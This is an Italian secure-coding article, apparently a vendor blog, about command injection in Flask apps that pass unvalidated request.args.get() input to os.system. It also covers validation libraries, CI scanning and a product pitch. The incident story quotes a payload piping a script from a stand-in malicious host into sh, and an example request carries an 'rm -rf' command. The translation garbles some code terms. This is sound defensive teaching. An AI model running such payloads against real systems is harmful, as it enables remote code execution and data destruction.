La trappola è pronta: come request.get() apre la porta
Nel 2023, una startup fintech ha implementato un sistema interno basato su Flask dashboard che consentiva al personale DevOps di attivare attività infrastrutturali da remoto. Uno dei percorsi utilizzava request.args.get("cmd") per recuperare un comando shell dalla stringa di query e passarlo direttamente a una chiamata di sistema.
Ciò sembrava sicuro partendo dal presupposto che solo gli utenti fidati avessero accesso all'interno dashboardTuttavia, a causa di un proxy inverso configurato in modo errato, il servizio è rimasto esposto al pubblico per diverse ore. Durante tale intervallo di tempo, gli scanner automatici hanno rilevato l'endpoint.
Gli aggressori lo hanno rapidamente sfruttato utilizzando una richiesta creata ad arte come ?cmd=curl+http://malicious.site/evil.sh|sh, con conseguente esecuzione di codice remoto (RCE). Da lì, hanno avuto accesso ai metadati e alle credenziali dell'istanza AWS, causando l'esfiltrazione dei dati e l'escalation dei privilegi.
Non si è trattato di un attacco sofisticato; è stato attivato interamente da un input non convalidato da request.get(). L'applicazione non era autenticata e non c'era alcuna sanificazione dell'input. Peggio ancora, nessuno strumento di analisi statica ha segnalato il rischio perché il team ha dato per scontato che l'app fosse sicura grazie al suo contesto interno.
Questo articolo non spiega come sfruttare tali falle. Il suo scopo è aiutare gli sviluppatori a riconoscere questo schema non sicuro, comprenderne i rischi e adottare pratiche di programmazione sicure per prevenire incidenti simili.
Exploit in azione: un'app Flask compromessa dall'input
In questa sezione, presentiamo un'app Flask minima che dimostra quanto velocemente le cose possano andare male quando richiesta.get() viene utilizzato senza convalida. La semplicità di questo esempio sottolinea il pericolo: anche poche righe di codice non sicuro possono esporre il sistema a gravi minacce.
Questo endpoint prende un cmd parametro dalla richiesta e lo passa direttamente a sistema operativo(), consentendo a chiunque abbia accesso all'endpoint di eseguire comandi di sistema arbitrari. Nessun controllo di input, nessuna sanificazione di input, nessuna guardrailsQuesto è un esempio lampante di come non gestire l'input dell'utente.

Senza alcuna convalida, gli aggressori possono sfruttare questa situazione passando pericolosi comandi shell direttamente nella stringa di query. Ad esempio, una semplice richiesta come arricciare 'http://localhost:5000/run?cmd=rm+-rf+/some/dir' potrebbe cancellare le directory critiche. Il comando viene eseguito così com'è, senza filtri, fornendo all'attaccante esecuzione di codice remoto (RCE) capacità.
Il vero pericolo sta nel modo silenzioso in cui questa vulnerabilità passa attraverso lo sviluppo pipelines. Poiché non c'erano strumenti di analisi statica configurato per rilevare modelli non sicuri come quelli non disinfettati richiesta.get()e poiché si riteneva che l'endpoint fosse utilizzato solo internamente, nessuno ha segnalato il problema durante la revisione del codice. Questo comune punto cieco DevOps, ovvero la fiducia negli ambienti interni e il mancato superamento della convalida per motivi di velocità, ha permesso a una vulnerabilità critica di raggiungere la produzione senza essere rilevata.
Dove tutto si rompe: le insidie più comuni degli sviluppatori
Molte vulnerabilità gravi nelle applicazioni Flask non derivano da una logica complessa, ma da errori semplici e ripetuti. Quando la velocità di sviluppo viene anteposta alla sicurezza, alcuni schemi rischiosi diventano normali, spesso senza che gli sviluppatori se ne rendano conto delle conseguenze a lungo termine.
Ecco gli errori più comuni:
- utilizzando richiesta.get() senza convalida o valori predefiniti
Gli sviluppatori spesso usano richiesta.args.get() per estrarre rapidamente i parametri da una richiesta. Senza valori predefiniti o convalida, questo porta a comportamenti imprevedibili, come il passaggio Nona nella logica o consentendo l'input grezzo dell'utente in operazioni pericolose.
- Fidarsi dell'input esterno senza controlli
Se l'input proviene da un modulo pubblico, da un gateway API o da un interno dashboard, deve essere considerato non attendibile. Presumere che sia sicuro solo perché è protetto da una VPN o utilizzato da team interni è un errore di valutazione fondamentale. - Delegare la sicurezza a librerie di terze parti senza verificare il comportamento
Sebbene le librerie possano astrarre funzionalità, non bisogna affidarsi ciecamente a loro per garantire la sicurezza. È importante comprendere sempre come gestiscono l'input e, quando necessario, integrare il codice esterno nei livelli di convalida. - Nessuna definizione di tipo o convalida di input nei gestori di percorso
Flask consente la tipizzazione dinamica e una gestione flessibile delle richieste, ma questo può rapidamente portare a bug o difetti di iniezione. Senza l'applicazione esplicita dei tipi e la convalida dello schema, input inaspettati possono bypassare la logica o interrompere i servizi a valle.
Questi errori sono spesso causati dalla pressione di agire rapidamente, di rendere disponibile una funzionalità o di implementare una correzione. Ma ogni scorciatoia intacca la sicurezza della tua applicazione. La codifica sicura deve essere... standard, non un'eccezione
Perché request.get() è rischioso per impostazione predefinita
A prima vista, richiesta.get(), comprese le sue varianti come richiesta.args.get() and richiesta.form.get(), sembra innocuo e comodo. Ma dietro questa semplicità si cela un presupposto pericoloso: che i dati in arrivo siano affidabili.
Questa supposizione è errata. Che si stia sviluppando un'API pubblica o uno strumento interno, l'input del client deve sempre essere trattato come non attendibile. Eppure, in molti team di sviluppo, soprattutto quando si lavora con microservizi o strumenti interni, dashboards, c'è la tendenza a saltare la convalida "perché è interna". Questa mentalità apre la porta a vulnerabilità critiche.
Perché questo è rischioso
- Nessuna applicazione di tipo: richiesta.get() restituisce i dati così come sono. Non convalida il tipo, il formato o la presenza di campi obbligatori.
- Fallimenti silenziosi: Se manca una chiave, viene restituito Nona, che spesso porta a comportamenti indesiderati o errori logici a valle.
- Nessun filtro: Non rimuove né ripulisce gli input dannosi, lasciando l'app vulnerabile agli attacchi di iniezione.
L'illusione della sicurezza interna
Negli ambienti con un elevato numero di microservizi o negli strumenti dietro le VPN, gli sviluppatori spesso si affidano ai limiti dell'infrastruttura come principale difesa. Questo porta a un falso senso di sicurezza. Errori di configurazione, credenziali trapelate o un servizio esposto possono rapidamente trasformare un "solo interno" in "pubblicamente sfruttabile". richiesta.get() Il problema non è la sicurezza; fidarsi ciecamente lo è. Senza la convalida dell'input, stai offrendo agli aggressori una linea diretta con la logica della tua applicazione e, potenzialmente, con la tua infrastruttura.
Proteggere il flusso: convalidare correttamente l'input dell'utente
Il fondamento della sicurezza di Flask è semplice: non elaborare mai l'input senza una convalida strutturataOgni dato ricevuto dalla tua applicazione, che provenga da parametri di query, moduli o API, deve essere trattato come non attendibile e rigorosamente convalidato prima dell'uso.
Librerie consigliate per la convalida dell'input
L'ecosistema Python offre diverse librerie mature, studiate appositamente per convalidare i dati delle richieste:
- marshmallow – Ottimo per definire schemi e deserializzare dati.
- Pidantic – Noto per i modelli type-safe; ampiamente utilizzato in FastAPI, ma funziona bene anche in Flask.
- WTForms – Ideale per la gestione e la convalida dei moduli nelle app web tradizionali.
Questi strumenti semplificano la definizione e l'applicazione della struttura, dei tipi e dei vincoli dell'input dell'utente.
Cosa convalidare
- Tipi: Assicurarsi che gli interi siano interi, le stringhe siano stringhe e i valori booleani siano booleani.
- Intervalli e lunghezze: Imposta i limiti per i numeri e applica le lunghezze minima e massima per le stringhe.
- campi obbligatori: Richiedere esplicitamente la presenza di determinati parametri.
- Modelli: Utilizza espressioni regolari per convalidare i formati previsti, come email, token o nomi di file.
Esempio con Marshmallow:
python from marshmallow import Schema, fields, ValidationError class CommandSchema(Schema): cmd = fields.String(required=True) schema = CommandSchema() @app.route('/run') def run(): try: args = schema.load(request.args) safe_cmd = sanitize_cmd(args['cmd']) # whitelist-based sanitation os.system(safe_cmd) except ValidationError as e: return str(e), 400 Decoratori riutilizzabili per codice pulito
È possibile creare decoratori per applicare la convalida in modo coerente su più percorsi:
python def validate_with(schema): def decorator(f): def wrapped(*args, **kwargs): try: validated = schema.load(request.args) return f(validated, *args, **kwargs) except ValidationError as e: return str(e), 400 return wrapped return decorator Conclusione
La convalida strutturata non è facoltativa; è essenziale. Non fidatevi mai dell'input grezzo, nemmeno nei sistemi interni. Utilizzate sempre schemi, verificate sempre tipi e formati e sanificate sempre ciò che elaborate.
Correzioni DevSecOps: Pipeline Security, Sposta a sinistra
La sicurezza non dovrebbe iniziare in produzione; dovrebbe iniziare nel momento in cui il codice viene scritto. Questo è il principio fondamentale alla base del "Movimento "Sposta a sinistra": individuare i problemi di sicurezza nelle fasi iniziali del ciclo di sviluppo, prima ancora che raggiungano la fase di esecuzione.
Applica la sicurezza fin dall'inizio Commit
Per rilevare in modo efficace l'uso rischioso di request.get() e modelli simili, integra la sicurezza direttamente nel tuo CI/CD pipeline. Ecco come:
- Aggiungi SAST regole (Test di sicurezza delle applicazioni statiche) al tuo flusso di lavoro. Queste regole possono rilevare codice pericoloso come chiamate request.get() non sanificate passate alle funzioni di sistema.
- Automatizza i controlli utilizzando strumenti come Bandit, Semgrep o script personalizzati. Eseguili come parte di GitHub Actions, GitLab CI o Bitbucket. Pipelines.
- Definisci policy personalizzate per segnalare pratiche non sicure, come l'utilizzo di request.args.get() senza convalida.
Bloccare le fusioni che introducono rischi
Il codice che non supera i controlli di convalida non dovrebbe essere autorizzato a unirsi. Prevenire la vulnerabilità commitLa protezione dall'unione rafforza la disciplina di sicurezza tra i team e contribuisce a creare una cultura di responsabilità.
jobs: secure-check: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Run Bandit run: bandit -r app/ -ll Incorporando l'analisi di sicurezza automatizzata nel tuo pipeline, i problemi vengono rilevati non appena si presentano, non dopo che sono stati pubblicati. Questo riduce i rischi, fa risparmiare tempo e aiuta i team a distribuire le app Flask con sicurezza.
Non fidarti del pacchetto: rischio di terze parti
Mentre le librerie di terze parti possono aumentare la produttività, possono anche introdurre silenziosamente vulnerabilità di sicurezza, soprattutto quando si tratta della gestione degli input.
Rischi reali derivanti da pacchetti non sicuri
Ci sono stati casi in cui librerie affidabili hanno eseguito operazioni non sicure in background, come la lettura dell'input utente tramite request.get() e il suo passaggio diretto a funzioni come eval(), open() o comandi di sistema. Questi difetti sono spesso nascosti dietro livelli di astrazione, rendendoli più difficili da rilevare durante la revisione del codice.
Ad esempio, un'utilità pensata per semplificare il caricamento dei file utilizzava parametri di query non corretti per costruire percorsi di file, un modello che incoraggiava l'attraversamento del percorso e l'accesso non autorizzato ai file.
Dipendenze transitive: la minaccia nascosta
Anche se le tue dipendenze dirette sono sicure, dipendenze transitive potrebbe non esserlo. Questi sono pacchetti da cui dipendono le tue librerie e possono comportare comportamenti rischiosi senza che tu lo sappia Un piccolo aggiornamento a una dipendenza in profondità nel tuo stack potrebbe introdurre un utilizzo non corretto di request.get() in punti che non controlli. Questo rischio si moltiplica nei microservizi e negli strumenti interni che si basano in larga misura su librerie più piccole e di nicchia.
Cosa fare?
- Controllare regolarmente le dipendenze, comprese quelle transitive.
- Utilizza strumenti come pip-audit, Safety o GitHub Dependabot per eseguire la scansione delle vulnerabilità note.
- Esaminare manualmente il modo in cui i pacchetti esterni gestiscono l'input dell'utente, soprattutto se interagiscono con percorsi o parametri di richiesta.
Non dare mai per scontato che un pacchetto, non importa quanto piccolo o noto, garantisca la tua sicurezza standards. Convalidare sempre l'input proveniente da fonti esterne prima che entri nella logica dell'applicazione.
Igiene degli sviluppatori: formazione e cultura DevSecOps
Creare applicazioni sicure non è solo una questione di strumenti; è una questione di cultura. I team devono interiorizzare la sicurezza come parte integrante della propria identità di sviluppo. Ciò significa rendere la codifica sicura, in particolare la convalida degli input, una parte imprescindibile di ogni flusso di lavoro.
Rendere la convalida dell'input parte delle revisioni del codice
Ogni revisione del codice dovrebbe chiedere:
- L'input dell'utente viene convalidato?
- Sono presenti schemi o controlli di tipo?
- L'input grezzo viene passato alla logica o ai comandi?
Incoraggiare questi controlli durante le revisioni tra pari favorisce una mentalità in cui la sicurezza è compito di tutti, non solo del team addetto alla sicurezza.
Definire policy di codifica sicura per le API Flask
Stabilire linee guida interne che specifichino:
- Come gestire l'input della richiesta (non fidarti mai di request.get() senza convalida)
- Quando e come utilizzare librerie come Marshmallow o Pydantic
- Requisiti per l'utilizzo di decoratori e convalida dello schema nelle rotte
Rendi queste policy parte integrante del tuo onboarding e della tua documentazione.
Strumenti per rilevare modelli non sicuri
Utilizzare l'automazione per individuare tempestivamente e in modo coerente i modelli rischiosi:
- Linter: strumenti come flake8, pylint o ruff possono essere estesi con plugin per rilevare l'uso improprio di request.get().
- Pre-commit hooks: Esegui automaticamente la scansione di modelli pericolosi prima ancora che il codice venga committed.
- Analizzatori statici: strumenti come Bandit, Xygeni o Semgrep possono segnalare una gestione non sicura degli input, una convalida mancante o flussi di dati non sicuri.
Costruisci la cultura
La sicurezza non è solo tecnica, è comportamentale. Quando la convalida è una seconda natura, quando le revisioni danno priorità alla sicurezza e quando gli strumenti impongono... standardautomaticamente, il tuo team diventa resiliente per progettazione.
Xygeni: come previene questi problemi
Xygeni aiuta a chiudere quella porta dal momento in cui il codice viene scritto. È una piattaforma di automazione della sicurezza che rileva modelli pericolosi, come l'utilizzo non corretto di request.get(), fin dal primo commit.
Rilevamento precoce tramite progettazione
Xygeni esegue la scansione di ogni commit and pull request per identificare l'uso non sicuro di request.get() e anti-pattern simili. Segnala i casi in cui l'input non viene convalidato prima di essere passato a funzioni critiche come os.system, eval o operazioni sui file.
Questo approccio proattivo garantisce che il codice rischioso non raggiunga mai silenziosamente la produzione.
Blocca le unioni non sicure automaticamente
Oltre al rilevamento, Xygeni consente ai team di applicare policy che impediscono l'unione di codice non sicuro. Queste policy sono personalizzabili e consentono alle organizzazioni di definire cosa è accettabile e cosa non lo è, in base alla sicurezza interna di Flask. standards.
modello: “richiesta\.arg\.get\(['\”]\w+['\”]\)”
condizione: “utilizzato in os\.system o open() o exec()”
azione: "bloccare"
Seamless CI/CD Integrazione:
Xygeni si integra facilmente con piattaforme come:
Che tu stia utilizzando CI basato su cloud o self-hosted pipelines, Xygeni si adatta al tuo flusso di lavoro senza interruzioni, applicando le policy di sicurezza di Flask in modo coerente in ogni repository.
Integrando i controlli di sicurezza direttamente nel tuo sviluppo pipelineXygeni garantisce che i modelli non sicuri vengano individuati in anticipo, esaminati rapidamente e corretti prima che causino danni.
Colpo finale: input pulito o compromesso
È importante sottolineare che questo non è solo un problema di sicurezza di Flask. Il problema principale è fidarsi dell'input dell'utente, indipendentemente dal framework o dall'ambiente.
L'input non convalidato è un vettore di minaccia universale; porta all'esecuzione di codice remoto, violazioni dei dati, escalation dei privilegi e, in ultima analisi, alla perdita di controllo sui sistemi. Ecco perché la convalida deve essere considerata una priorità assoluta in tutti i processi di sviluppo. Convalida tutto. Non dare nulla per scontato. Sanifica sempre.
La convalida non è facoltativa. Non è un "optional". È una componente imprescindibile dello sviluppo software sicuro. Non convalidare l'input è come lasciare la porta di casa aperta in un quartiere pericoloso: prima o poi qualcuno entrerà.
Che si sviluppino API per il pubblico o servizi interni basati su VPN, l'input deve essere convalidato e sanificato. Ogni parametro, ogni campo del modulo, ogni stringa di query, sempre.
Le migliori pratiche descritte in questo articolo, convalida basata sullo schema, analisi del codice statico, sicurezza pipelinee l'igiene culturale sono essenziali per difendersi dall'abuso di request.get() e di modelli non sicuri simili.






